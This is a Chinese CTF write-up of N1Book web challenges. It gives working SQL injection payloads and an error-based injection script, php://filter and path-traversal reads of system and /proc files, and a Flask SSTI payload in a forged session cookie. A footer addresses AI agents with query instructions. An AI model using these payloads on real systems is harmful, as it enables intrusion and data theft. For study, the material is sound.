# WEB入门

### 举足轻重的信息收集

#### **常见的收集**

扫

* robots.txt
* index.php\~
* .index.php.swp

#### **粗心的小李**

scrabble

<figure><img src="https://1298837596-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUlxElCQcjylbSFsJycU3%2Fuploads%2FdscEsljzJgGJZSm02INi%2F1.png?alt=media&#x26;token=07c207aa-46cf-4fb5-89b5-f863a544cbd0" alt=""><figcaption></figcaption></figure>

### CTF中的SQL注入

#### **SQL注入-1**

id=3提示加入参数tips=1，输出查询语句：

```
select * from notes where id ='3'
```

测试了一下，完全没有WAF，应该是联合查询，尝试联合查询：

```
id=-1%27union%20select%201,2,3%23&tips=1
```

注意这里只能用%23，不能用#，否则无法正常值注入，因为在提交的时候，#并没有通过url编码进行转义。

看到回显是23，接下来注入就比较简单了。

```
-1%27%20union%20select%201,(select%20group_concat(distinct%20TABLE_SCHEMA)%20from%20information_schema.tables),3%23
```

查表：

```
-1%27%20union%20select%201,(select%20group_concat(distinct%20TABLE_NAME)%20from%20information_schema.tables%20where%20table_schema%3d'note'),3%23
```

读字段：

```
-1%27%20union%20select%201,(select%20group_concat(distinct%20COLUMN_NAME)%20from%20information_schema.columns%20where%20table_schema%3d'note'%20and%20table_name%3d'fl4g'),3%23
```

读字段内容：

```
-1%27%20union%20select%201,(select%20*%20from%20note.fl4g),3%23
```

#### **SQL注入-2**

脚本：

```python
import requests

url = "http://ef016835-6405-4397-b459-3b902127f1ed.node3.buuoj.cn/login.php?tips=1"

# p = 'SELECT database()'
# p = "SELECT(group_concat(table_name))FROM(information_schema.tables)WHERE(table_schema)LIKE('note')"
# p = "SELECT(group_concat(column_name))FROM(information_schema.columns)WHERE(table_name)LIKE('fl4g')"
p = "SELECT(flag)FROM(note.fl4g)"

admin = "admin' and updatexml(1,concat(0x7e,({}),0x7e),1);#".format(p)

payload = {'name': admin, 'pass': '1'}
files = []
headers = {}

response = requests.request("POST", url, headers=headers, data=payload, files=files)

print(response.text)
```

后续更新：这部分的正解应该是时间盲注。

### 任意文件读取漏洞

#### **afr\_1**

本来以为是关键词过滤，后来才发现是文件有die函数，直接用filter文件流读取。

```
?p=php://filter/read=convert.base64-encode/resource=flag
```

<figure><img src="https://oatmeal.vip/wp-content/uploads/2020/12/image-8.png" alt=""><figcaption></figcaption></figure>

#### **afr\_2**

nginx 文件配置错误，访问/img../穿越目录获得flag。

<figure><img src="https://oatmeal.vip/wp-content/uploads/2020/12/image-9.png" alt=""><figcaption></figcaption></figure>

### **afr\_3**

尝试插入..报错

```
[Errno 2] No such file or directory: '/home/nu11111111l/articles/article../'
```

穿越目录

```
/article?name=../../../etc/passwd
```

这里用到了Linux下的proc文件系统，即/proc，每个进程以数字命名，其中environ文件存储环境变量。

读文件：

```
/article?name=../../../proc/1/environ
```

<figure><img src="https://oatmeal.vip/wp-content/uploads/2020/12/image-10-1024x123.png" alt=""><figcaption></figcaption></figure>

查看/proc/self/cmdline：

> /proc/$pid/ 可以获取指定进程的信息，但是如果某个进程想获取到自身的信息且不知道$pid时，可以通过访问/proc/self来查看文件，此时等价于/proc/$pid。

```
/article?name=../../../proc/self/cmdline
```

得到回显；

```
python server.py
```

查看server.py：

```
/article?name=../../../proc/self/cwd/server.py
```

可以看见是flask模板，且调用了flag.py以及key.py。

server.py:

```python
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session

app = Flask(__name__)
execfile('flag.py')
execfile('key.py')

FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
    if request.method != "POST":
        return redirect(url_for("index"))
    n1code = request.form.get("n1code") or None
    if n1code is not None:
        n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
    if "n1code" not in session or session['n1code'] is None:
        session['n1code'] = n1code
    template = None
    if session['n1code'] is not None:
        template = '''&lt;h1&gt;N1 Page&lt;/h1&gt; &lt;div class="row&gt; &lt;div class="col-md-6 col-md-offset-3 center"&gt; Hello : %s, why you don't look at our &lt;a href='/article?name=article'&gt;article&lt;/a&gt;? &lt;/div&gt; &lt;/div&gt; ''' % session['n1code']
        session['n1code'] = None
    return render_template_string(template)

@app.route("/", methods=["GET"])
def index():
    return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
    error = 0
    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = 'article'
    if page.find('flag')&gt;=0:
        page = 'notallowed.txt'
    try:
        template = open('/home/nu11111111l/articles/{}'.format(page)).read()
    except Exception as e:
        template = e

    return render_template('article.html', template=template)

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)
```

其中这server.py部分代码存在SSTI cookie 注入。

```python
if session['n1code'] is not None:
        template = '''&lt;h1&gt;N1 Page&lt;/h1&gt; &lt;div class="row&gt; &lt;div class="col-md-6 col-md-offset-3 center"&gt; Hello : %s, why you don't look at our &lt;a href='/article?name=article'&gt;article&lt;/a&gt;? &lt;/div&gt; &lt;/div&gt; ''' % session['n1code']
        session['n1code'] = None
```

读取flag.py时发现提示没有权限，有两种可能：过滤关键词或者是没有权限。测试了一下其他包含flag关键词的字段发现都没有权限，应该是存在关键词过滤（后来发现傻逼了，源码给了）。

key.py：

```
#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'
```

查看 Cookie Session：

<figure><img src="https://oatmeal.vip/wp-content/uploads/2020/12/image-11-1024x383.png" alt=""><figcaption></figcaption></figure>

用 [Flask Session Cookie Decoder/Encoder](https://noraj.github.io/flask-session-cookie-manager/) 解密

<figure><img src="https://oatmeal.vip/wp-content/uploads/2020/12/image-13.png" alt=""><figcaption></figcaption></figure>

于是使用payload，尝试读取flag.py：

```
python3 flask_session_cookie_manager3.py encode -t "{'n1code':'{{[].__class__.__mro__[1].__subclasses__()[40]('/flag.py').read()}}'}" -s 'Drmhze6EPcv0fN_81Bj-nA'
```

报了语法错误的报错，于是尝试转义：

```
python3 flask_session_cookie_manager3.py encode -t "{'n1code':'{{[].__class__.__mro__[1].__subclasses__()[40](\'flag.py\').read()}}'}" -s 'Drmhze6EPcv0fN_81Bj-nA'
```

<figure><img src="https://oatmeal.vip/wp-content/uploads/2020/12/image-14-1024x43.png" alt=""><figcaption></figcaption></figure>

```
eyJuMWNvZGUiOiJ7e1tdLl9fY2xhc3NfXy5fX21yb19fWzFdLl9fc3ViY2xhc3Nlc19fKClbNDBdKCdmbGFnLnB5JykucmVhZCgpfX0ifQ.X9D_Zw.w_83uqm3Mo7WIsTlt7QFPqtmffA
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook-88.gitbook.io/ctf-writeup/ba-chang/n1book/web-ru-men.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
